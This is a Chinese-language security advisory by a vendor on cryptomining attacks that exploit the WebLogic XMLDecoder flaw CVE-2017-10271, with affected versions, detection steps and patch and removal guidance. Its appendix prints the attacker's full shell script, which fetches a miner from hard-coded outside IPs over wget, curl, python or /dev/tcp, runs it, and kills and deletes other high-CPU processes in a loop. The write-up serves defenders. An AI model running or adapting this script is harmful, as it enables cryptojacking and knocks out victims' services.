警惕丨WebLogic漏洞攻击集中爆发,部委、能源、银行等政企用户需格外留意 – 作者:zorelworld

攻击事件概述

近日,中睿天下部署在用户处的睿眼设备,抓到数起黑客利用WebLogic漏洞对服务器发起的攻击行为,并作出致命等级的未知威胁告警

进一步分析后,基本确定是利用WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)攻击,拿到系统权限后,下载并执行矿机程序进行虚拟货币挖矿。

与2017年12月爆发的Weblogic漏洞挖矿事件相比,此次攻击更恶劣的是为获取更高的CPU占用率杀掉用户的非矿机进程,从而导致用户主机宕机,严重影响正常的业务

此次攻击使用的门罗币矿机程序为XMRig,代码托管在平台GitHub。而其利用的WebLogic XMLDecoder反序列化漏洞,早在2017年9月睿眼就已发现针对此漏洞的攻击

目前该漏洞处于集中爆发期部委、银行、能源等用户均已受到影响,大量主机失陷,预计后续会有更多的用户受到影响。

中睿天下已立刻成立应急响应小组,级别为红色。

WebLogic漏洞1.jpg

睿眼9月告警WebLogic漏洞攻击

 

攻击过程分析

❖ IP扫描:攻击者在互联网上扫描存在CVE-2017-10271漏洞的机器,确定攻击目标IP

❖ 漏洞利用:攻击者对筛选出的IP发动攻击,利用此漏洞获得命令执行的权限

❖ 矿机植入:漏洞利用成功后,会去指定位置下载适合目标系统的挖矿工具进行挖矿,并伴随顽固启动程序。

❖ 杀掉进程:挖矿程序启动后,强行停止占用CPU过高的进程,导致业务中断。

 

样本分析

该命令执行脚本主要提供下载功能和杀掉主机上占用cpu高的进程。

详细分析命令执行脚本(详情见文末附录),中睿天下发现黑客主要通过构造以下几个模块顺序攻击:

 checkCmd()  //检查操作系统

 pkill python;pkill perl; pkill $mName  //首先杀掉所有python、perl、java脚本;

 downloader ()  //提供wget、curl、python、socket四种下载方式下载矿机程序;

 runer()  //当检测到服务器不存在挖矿程序时,立即下载挖矿程序,存为”java” ,修改为最高权限,并调起;

 killer()  //检测到服务器中存在cpu占用超过60%,且非矿机的进程,直接杀掉;

 while语句  //循环执行该命令;

WebLogic漏洞 4.jpg

「睿眼」捕获Weblogic攻击流量包

WebLogic漏洞3.png

脚本杀掉」进程下载」矿机程序

 

攻击影响范围

  • ❖ WebLogic Server 10.3.6.0.0
  • ❖ WebLogic Server 12.1.3.0.0
  • ❖ WebLogic Server 12.2.1.1.0
  • ❖ WebLogic Server 12.2.1.2.0

 

中睿建议

1,如何检测是否被攻击?

登录睿眼攻击溯源系统-web版,点击【威胁分析】->【全局分析】,参数搜索填写:*wls-wsal* 或 wls- 即可,HTTP状态码可搜索:!500 (状态码为500的可能为攻击成功数据包)。(见下图)

WebLogic漏洞 6.jpg

睿眼检测是否被攻击

 

2,发现已中招,如何处置威胁?

1)更新补丁:

官方已发布修复补丁,建议立即排查资产并更新补丁。网址如下:

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html

2)删除组件

❖ 在不影响业务的情况下,删除WebLogicwls-wsat应用包。

rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war

rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war

rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

❖ 重启WebLogic服务或系统后,确认以下链接访问是否为404

http://ip:port/wls-wsat/CoordinatorPortType11

3,本次处置后,如何针对此黑客持续监测主动防御

虽本次事件定性为恶意挖矿,但不排除黑客利用权限进行下一步渗透。用户可在攻击溯源系统-网络版->威胁情报->配置管理->黑IP模块中添加IP,添加后睿眼可监控所有服务器和黑客IP的连接记录。

WebLogic漏洞 7.jpg

添加威胁情报进行持续监控

 

总结

相比2017年12月底发布的威胁情报预警,此次攻击的黑客团队数量扩大,攻击的规模更大,性质也更恶劣——除了下载挖矿程序外,还会丧心病狂地杀掉非矿机进程,从而导致主机宕机,影响正常的业务。

早在2017年9月,中睿天下睿眼就已发现针对此漏洞的攻击。目前该漏洞处于集中爆发期,「部委、银行、能源」等用户均已受到影响,大量主机中招,预计后续会有更多用户受影响。中睿天下已立刻成立应急响应小组,级别为红色

如果您发现主机已被黑客攻击成功,或不确定主机是否存在风险,欢迎致电中睿天下技术团队寻求帮助。中睿天下将持续关注该漏洞的最新进展。

中睿天下联系电话:4008-232-911。

 

附录

❖ http://www.oracle.com/technetwork/middleware/weblogic/downloads/index.html官方补丁链接

❖ https://community.oracle.com/thread/4109711 甲骨文社区关于CVE-2017-10271漏洞攻击的交流互动

❖ 攻击者执行命令样本:

#!/bin/sh

sPid=$$

mPid=”

mName=’java’

checkCmd() {

    command -v $1 >/dev/null 2>&1

}

downloader () {

    if checkCmd wget; then

        wget $1 -O $2

    elif checkCmd curl; then

        curl $1 -o $2

    elif checkCmd python; then

        if [ “`python -c “import sys;print(sys.version_info[0])”`” = “3” ]; then

            python -c “from urllib.requestimport urlopen; u = urlopen(‘”$1″‘); localFile =open(‘”$2″‘, ‘wb’); localFile.write(u.read());localFile.close()”

        else

            python -c “from urllib importurlopen; u = urlopen(‘”$1″‘); localFile = open(‘”$2″‘,’wb’); localFile.write(u.read()); localFile.close()”

        fi

    else

        cat < /dev/tcp/165.227.215.25/5555> $2

    fi

    chmod +x $2

}

 

killer() {

    for tmpVar in `ps -aeo pid,%cpu,command |sed 1d | sort -k 2 | tail -n 10 | awk ‘{print $1}’`; do

        if [ $tmpVar = $sPid ]; then

            continue

        fi

        if [ $tmpVar = $mPid ]; then

            continue

        fi

        if [ `ps -o %cpu $tmpVar | sed 1d | sed’s/\..*//g’` -ge 60 ]; then

            if [ `ps $tmpVar | sed 1d | awk'{print $5}’ | grep java` ]; then

                continue

            fi

            if [ `ps $tmpVar | sed 1d | awk'{print $5}’ | grep sh` ]; then

                continue

            fi

            if [ `ps $tmpVar | sed 1d | awk'{print $5}’ | grep bash` ]; then

                continue

            fi

            kill -9 $tmpVar

            rm -f `ls -l /proc/$tmpVar/exe 2

                     &1 | sed ‘s/.*->//g’`

        fi

    done

}

runer() {

    if [ -z “$mPid” ]; then

        if [ ! -f $mName ]; then

            downloaderhttp://165.227.215.25/java $mName

        fi

        chmod +x ./$mName

        ./$mName

    fi

    mPid=`ps -eo pid,command | grep $mName |head -n 1 | awk ‘{print $1}’`

}

pkill python; pkillperl; pkill $mName

downloaderhttp://45.77.245.237/java $mName

runer

killer

while true; do

    sleep 10

    if ps -p $mPid > /dev/null; then

        killer

    else

        mPid=”

        runer

    fi

done

来源:freebuf.com 2019-05-21 20:14:26 by: zorelworld

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论